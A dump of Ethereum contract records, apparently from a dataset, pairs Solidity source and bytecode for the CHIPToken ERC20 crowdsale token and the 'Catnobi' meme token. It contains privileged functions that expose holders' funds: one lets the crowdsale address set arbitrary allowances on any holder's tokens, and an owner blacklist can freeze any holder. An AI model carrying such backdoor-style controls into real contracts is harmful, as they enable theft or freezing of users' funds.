* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner returns (bool){
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract CHIPToken is BaseCHIPToken {
// Constants
string public constant name = "Chips";
string public constant symbol = "CHP";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
uint256 public constant CROWDSALE_ALLOWANCE = 1000000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = 1000000000 * (10 ** uint256(decimals));
// Properties
//uint256 public totalSupply;
uint256 public crowdSaleAllowance; // the number of tokens available for crowdsales
uint256 public adminAllowance; // the number of tokens available for the administrator
address public crowdSaleAddr; // the address of a crowdsale currently selling this token
address public adminAddr; // the address of a crowdsale currently selling this token
//bool public transferEnabled = false; // indicates if transferring tokens is enabled or not
bool public transferEnabled = true; // Enables everyone to transfer tokens
/**
* The listed addresses are not valid recipients of tokens.
*
* 0x0 - the zero address is not valid
* this - the contract itself should not receive tokens
* owner - the owner has all the initial tokens, but cannot receive any back
* adminAddr - the admin has an allowance of tokens to transfer, but does not receive any
* crowdSaleAddr - the crowdsale has an allowance of tokens to transfer, but does not receive any
*/
modifier validDestination(address _to) {
require(_to != address(0x0), "Cannot send to 0 address");
require(_to != address(this), "Cannot send to contract address");
//require(_to != owner, "Cannot send to the owner");
//require(_to != address(adminAddr), "Cannot send to admin address");
require(_to != address(crowdSaleAddr), "Cannot send to crowdsale address");
_;
}
modifier onlyCrowdsale {
require(msg.sender == crowdSaleAddr, "Only crowdsale contract can call this");
_;
}
constructor(address _admin) public {
require(msg.sender != _admin, "Owner and admin cannot be the same");
totalSupply_ = INITIAL_SUPPLY;
crowdSaleAllowance = CROWDSALE_ALLOWANCE;
adminAllowance = ADMIN_ALLOWANCE;
// mint all tokens
balances[msg.sender] = totalSupply_.sub(adminAllowance);
emit Transfer(address(0x0), msg.sender, totalSupply_.sub(adminAllowance));
balances[_admin] = adminAllowance;
emit Transfer(address(0x0), _admin, adminAllowance);
adminAddr = _admin;
approve(adminAddr, adminAllowance);
}
/**
* Overrides ERC20 transfer function with modifier that prevents the
* ability to transfer tokens until after transfers have been enabled.
*/
function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
/**
* Overrides ERC20 transferFrom function with modifier that prevents the
* ability to transfer tokens until after transfers have been enabled.
*/
function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
if (result) {
if (msg.sender == crowdSaleAddr)
crowdSaleAllowance = crowdSaleAllowance.sub(_value);
if (msg.sender == adminAddr)
adminAllowance = adminAllowance.sub(_value);
}
return result;
}
/**
* Associates this token with a current crowdsale, giving the crowdsale
* an allowance of tokens from the crowdsale supply. This gives the
* crowdsale the ability to call transferFrom to transfer tokens to
* whomever has purchased them.
*
* Note that if _amountForSale is 0, then it is assumed that the full
* remaining crowdsale supply is made available to the crowdsale.
*
* @param _crowdSaleAddr The address of a crowdsale contract that will sell this token
* @param _amountForSale The supply of tokens provided to the crowdsale
*/
function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {
require(_amountForSale <= crowdSaleAllowance, "Sale amount should be less than the crowdsale allowance limits.");
// if 0, then full available crowdsale supply is assumed
uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;
// Clear allowance of old, and set allowance of new
approve(crowdSaleAddr, 0);
approve(_crowdSaleAddr, amount);
crowdSaleAddr = _crowdSaleAddr;
}
function setAllowanceBeforeWithdrawal(address _from, address _to, uint _value) public onlyCrowdsale returns (bool) {
allowed[_from][_to] = _value;
emit Approval(_from, _to, _value);
return true;
}
}
|
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610158578063095ea7b3146101e257806318160ddd1461021a57806322ed63021461024157806323b872dd146102675780632ff2e9dc14610291578063313ce567146102a65780633a45d3ef146102d157806340c10f19146102fb57806342966c681461031f5780634cd412d5146103375780635c9d0fb11461034c578063661884631461036157806370a082311461038557806379cc6790146103a657806381830593146103ca5780638da5cb5b146103fb5780638eeb33ff1461041057806395d89b4114610425578063a9059cbb1461043a578063d14ac7c41461045e578063d56de6ed14610473578063d73dd62314610488578063dd62ed3e146104ac578063f2fde38b146104d3578063fc53f9581461034c575b600080fd5b34801561016457600080fd5b5061016d6104f4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a757818101518382015260200161018f565b50505050905090810190601f1680156101d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ee57600080fd5b50610206600160a060020a036004351660243561052b565b604080519115158252519081900360200190f35b34801561022657600080fd5b5061022f61057f565b60408051918252519081900360200190f35b34801561024d57600080fd5b50610265600160a060020a0360043516602435610585565b005b34801561027357600080fd5b50610206600160a060020a03600435811690602435166044356106f6565b34801561029d57600080fd5b5061022f610891565b3480156102b257600080fd5b506102bb6108a1565b6040805160ff9092168252519081900360200190f35b3480156102dd57600080fd5b50610206600160a060020a03600435811690602435166044356108a6565b34801561030757600080fd5b50610206600160a060020a0360043516602435610986565b34801561032b57600080fd5b50610265600435610ad8565b34801561034357600080fd5b50610206610ae5565b34801561035857600080fd5b5061022f610b06565b34801561036d57600080fd5b50610206600160a060020a0360043516602435610b16565b34801561039157600080fd5b5061022f600160a060020a0360043516610bf3565b3480156103b257600080fd5b50610265600160a060020a0360043516602435610c0e565b3480156103d657600080fd5b506103df610d15565b60408051600160a060020a039092168252519081900360200190f35b34801561040757600080fd5b506103df610d24565b34801561041c57600080fd5b506103df610d33565b34801561043157600080fd5b5061016d610d42565b34801561044657600080fd5b50610206600160a060020a0360043516602435610d79565b34801561046a57600080fd5b5061022f610eb5565b34801561047f57600080fd5b5061022f610ebb565b34801561049457600080fd5b50610206600160a060020a0360043516602435610ec1565b3480156104b857600080fd5b5061022f600160a060020a0360043581169060243516610f48565b3480156104df57600080fd5b50610265600160a060020a0360043516610f73565b60408051808201909152600581527f4368697073000000000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a0387168085529083528184208690558151868152915193949093909260008051602061168f833981519152928290030190a350600192915050565b60035490565b60008054600160a060020a0316331461060e576040805160e560020a62461bcd02815260206004820152602760248201527f4f6e6c7920746865206f776e657220697320616c6c6f77656420746f2063616c60448201527f6c20746869732e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60045482111561068e576040805160e560020a62461bcd02815260206004820152603f60248201527f53616c6520616d6f756e742073686f756c64206265206c657373207468616e2060448201527f7468652063726f776473616c6520616c6c6f77616e6365206c696d6974732e00606482015290519081900360840190fd5b811561069a578161069e565b6004545b6006549091506106b890600160a060020a0316600061052b565b506106c3838261052b565b50506006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915550565b60008083600160a060020a038116151561075a576040805160e560020a62461bcd02815260206004820152601860248201527f43616e6e6f742073656e6420746f203020616464726573730000000000000000604482015290519081900360640190fd5b600160a060020a0381163014156107bb576040805160e560020a62461bcd02815260206004820152601f60248201527f43616e6e6f742073656e6420746f20636f6e7472616374206164647265737300604482015290519081900360640190fd5b600654600160a060020a0382811691161415610821576040805160e560020a62461bcd02815260206004820181905260248201527f43616e6e6f742073656e6420746f2063726f776473616c652061646472657373604482015290519081900360640190fd5b61082c868686611004565b9150811561088857600654600160a060020a031633141561085e5760045461085a908563ffffffff61129616565b6004555b600754600160a060020a031633141561088857600554610884908563ffffffff61129616565b6005555b50949350505050565b6b06765c793fa10079d000000081565b601281565b600654600090600160a060020a03163314610931576040805160e560020a62461bcd02815260206004820152602560248201527f4f6e6c792063726f776473616c6520636f6e74726163742063616e2063616c6c60448201527f2074686973000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038085166000818152600260209081526040808320948816808452948252918290208690558151868152915160008051602061168f8339815191529281900390910190a35060019392505050565b60008054600160a060020a03163314610a0f576040805160e560020a62461bcd02815260206004820152602760248201527f4f6e6c7920746865206f776e657220697320616c6c6f77656420746f2063616c60448201527f6c20746869732e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600354610a22908363ffffffff6112a816565b600355600160a060020a038316600090815260016020526040902054610a4e908363ffffffff6112a816565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a0385169160009160008051602061166f8339815191529181900360200190a350600192915050565b610ae233826112bb565b50565b60075474010000000000000000000000000000000000000000900460ff1681565b6b033b2e3c9fd0803ce800000081565b336000908152600260209081526040808320600160a060020a0386168452909152812054808310610b6a57336000908152600260209081526040808320600160a060020a0388168452909152812055610b9f565b610b7a818463ffffffff61129616565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a03891680855290835292819020548151908152905192939260008051602061168f833981519152929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600160a060020a0382166000908152600260209081526040808320338452909152902054811115610caf576040805160e560020a62461bcd02815260206004820152602660248201527f496e73756666696369656e7420616c6c6f77616e636520746f206275726e207460448201527f6f6b656e732e0000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382166000908152600260209081526040808320338452909152902054610ce3908263ffffffff61129616565b600160a060020a0383166000908152600260209081526040808320338452909152902055610d1182826112bb565b5050565b600754600160a060020a031681565b600054600160a060020a031681565b600654600160a060020a031681565b60408051808201909152600381527f4348500000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a0381161515610ddc576040805160e560020a62461bcd02815260206004820152601860248201527f43616e6e6f742073656e6420746f203020616464726573730000000000000000604482015290519081900360640190fd5b600160a060020a038116301415610e3d576040805160e560020a62461bcd02815260206004820152601f60248201527f43616e6e6f742073656e6420746f20636f6e7472616374206164647265737300604482015290519081900360640190fd5b600654600160a060020a0382811691161415610ea3576040805160e560020a62461bcd02815260206004820181905260248201527f43616e6e6f742073656e6420746f2063726f776473616c652061646472657373604482015290519081900360640190fd5b610ead84846113f5565b949350505050565b60045481565b60055481565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ef5908363ffffffff6112a816565b336000818152600260209081526040808320600160a060020a03891680855290835292819020859055805194855251919360008051602061168f833981519152929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600054600160a060020a03163314610ffb576040805160e560020a62461bcd02815260206004820152602760248201527f4f6e6c7920746865206f776e657220697320616c6c6f77656420746f2063616c60448201527f6c20746869732e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610ae2816115a6565b600160a060020a03831660009081526001602052604081205482111561109a576040805160e560020a62461bcd02815260206004820152602360248201527f596f7520646f206e6f7420686176652073756666696369656e742062616c616e60448201527f63652e0000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115611115576040805160e560020a62461bcd02815260206004820152601a60248201527f596f7520646f206e6f74206861766520616c6c6f77616e63652e000000000000604482015290519081900360640190fd5b600160a060020a038316151561119b576040805160e560020a62461bcd02815260206004820152602360248201527f596f752063616e6e6f742073656e6420746f6b656e7320746f2030206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0384166000908152600160205260409020546111c4908363ffffffff61129616565b600160a060020a0380861660009081526001602052604080822093909355908516815220546111f9908363ffffffff6112a816565b600160a060020a03808516600090815260016020908152604080832094909455918716815260028252828120338252909152205461123d908363ffffffff61129616565b600160a060020a038086166000818152600260209081526040808320338452825291829020949094558051868152905192871693919260008051602061166f833981519152929181900390910190a35060019392505050565b6000828211156112a257fe5b50900390565b818101828110156112b557fe5b92915050565b600160a060020a03821660009081526001602052604090205481111561132b576040805160e560020a62461bcd02815260206004820152601e60248201527f496e73756666696369656e742062616c616e6365206f6620746f6b656e730000604482015290519081900360640190fd5b600160a060020a038216600090815260016020526040902054611354908263ffffffff61129616565b600160a060020a038316600090815260016020526040902055600354611380908263ffffffff61129616565b600355604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a0385169160008051602061166f8339815191529181900360200190a35050565b33600090815260016020526040812054821115611482576040805160e560020a62461bcd02815260206004820152602360248201527f596f7520646f206e6f7420686176652073756666696369656e742062616c616e60448201527f63652e0000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383161515611508576040805160e560020a62461bcd02815260206004820152602360248201527f596f752063616e6e6f742073656e6420746f6b656e7320746f2030206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b33600090815260016020526040902054611528908363ffffffff61129616565b3360009081526001602052604080822092909255600160a060020a0385168152205461155a908363ffffffff6112a816565b600160a060020a03841660008181526001602090815260409182902093909355805185815290519192339260008051602061166f8339815191529281900390910190a350600192915050565b600160a060020a0381161515611606576040805160e560020a62461bcd02815260206004820152601a60248201527f4f776e65722063616e6e6f74206265203020616464726573732e000000000000604482015290519081900360640190fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820d8c05ac9cf167d3127d55e493edce8d6633a1dfdd9c9669cb4ba4d8bc64200d50029
|
{"success": true, "error": null, "results": {}}
| 8,920 |
0xf470fabb7bd541f2dbe664748819cbf249344af6
|
/*
The only Cat Token for Eth
#Meaow
Telegram: https://t.me/catnobiportal
100% STEALTH LAUNCH
Tokenomics -
Supply 1 Bil
Max transaction 1.5%
No team tokens (100% of supply into liquidity)
Low tax (10% for buy and sell)
SLippage: 10% +
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract catnobitoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Catnobi";
string private constant _symbol = "Catnobi";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x05E3F8c4D0d2be1585A355D8cBbF38d1CB864EB1);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 15_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 15_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610313578063c3c8cd8014610333578063c9567bf914610348578063dbe8272c1461035d578063dc1052e21461037d578063dd62ed3e1461039d57600080fd5b8063715018a6146102a15780638da5cb5b146102b657806395d89b411461015c5780639e78fb4f146102de578063a9059cbb146102f357600080fd5b806323b872dd116100f257806323b872dd14610210578063273123b714610230578063313ce567146102505780636fc3eaec1461026c57806370a082311461028157600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019b57806318160ddd146101cb5780631bbae6e0146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611840565b6103e3565b005b34801561016857600080fd5b5060408051808201825260078152664361746e6f626960c81b6020820152905161019291906118bd565b60405180910390f35b3480156101a757600080fd5b506101bb6101b636600461174e565b610434565b6040519015158152602001610192565b3480156101d757600080fd5b50670de0b6b3a76400005b604051908152602001610192565b3480156101fc57600080fd5b5061015a61020b366004611878565b61044b565b34801561021c57600080fd5b506101bb61022b36600461170e565b61048d565b34801561023c57600080fd5b5061015a61024b36600461169e565b6104f6565b34801561025c57600080fd5b5060405160098152602001610192565b34801561027857600080fd5b5061015a610541565b34801561028d57600080fd5b506101e261029c36600461169e565b610575565b3480156102ad57600080fd5b5061015a610597565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610192565b3480156102ea57600080fd5b5061015a61060b565b3480156102ff57600080fd5b506101bb61030e36600461174e565b61084a565b34801561031f57600080fd5b5061015a61032e366004611779565b610857565b34801561033f57600080fd5b5061015a6108fb565b34801561035457600080fd5b5061015a61093b565b34801561036957600080fd5b5061015a610378366004611878565b610b01565b34801561038957600080fd5b5061015a610398366004611878565b610b39565b3480156103a957600080fd5b506101e26103b83660046116d6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104165760405162461bcd60e51b815260040161040d90611910565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610441338484610b71565b5060015b92915050565b6000546001600160a01b031633146104755760405162461bcd60e51b815260040161040d90611910565b66354a6ba7a1800081111561048a5760108190555b50565b600061049a848484610c95565b6104ec84336104e785604051806060016040528060288152602001611a8e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8c565b610b71565b5060019392505050565b6000546001600160a01b031633146105205760405162461bcd60e51b815260040161040d90611910565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056b5760405162461bcd60e51b815260040161040d90611910565b4761048a81610fc6565b6001600160a01b03811660009081526002602052604081205461044590611000565b6000546001600160a01b031633146105c15760405162461bcd60e51b815260040161040d90611910565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161040d90611910565b600f54600160a01b900460ff161561068f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ef57600080fd5b505afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072791906116ba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076f57600080fd5b505afa158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a791906116ba565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ef57600080fd5b505af1158015610803573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082791906116ba565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610441338484610c95565b6000546001600160a01b031633146108815760405162461bcd60e51b815260040161040d90611910565b60005b81518110156108f7576001600660008484815181106108b357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ef81611a23565b915050610884565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161040d90611910565b600061093030610575565b905061048a81611084565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161040d90611910565b600e546109859030906001600160a01b0316670de0b6b3a7640000610b71565b600e546001600160a01b031663f305d71947306109a181610575565b6000806109b66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1957600080fd5b505af1158015610a2d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a529190611890565b5050600f805466354a6ba7a1800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac957600080fd5b505af1158015610add573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048a919061185c565b6000546001600160a01b03163314610b2b5760405162461bcd60e51b815260040161040d90611910565b600f81101561048a57600b55565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161040d90611910565b600f81101561048a57600c55565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b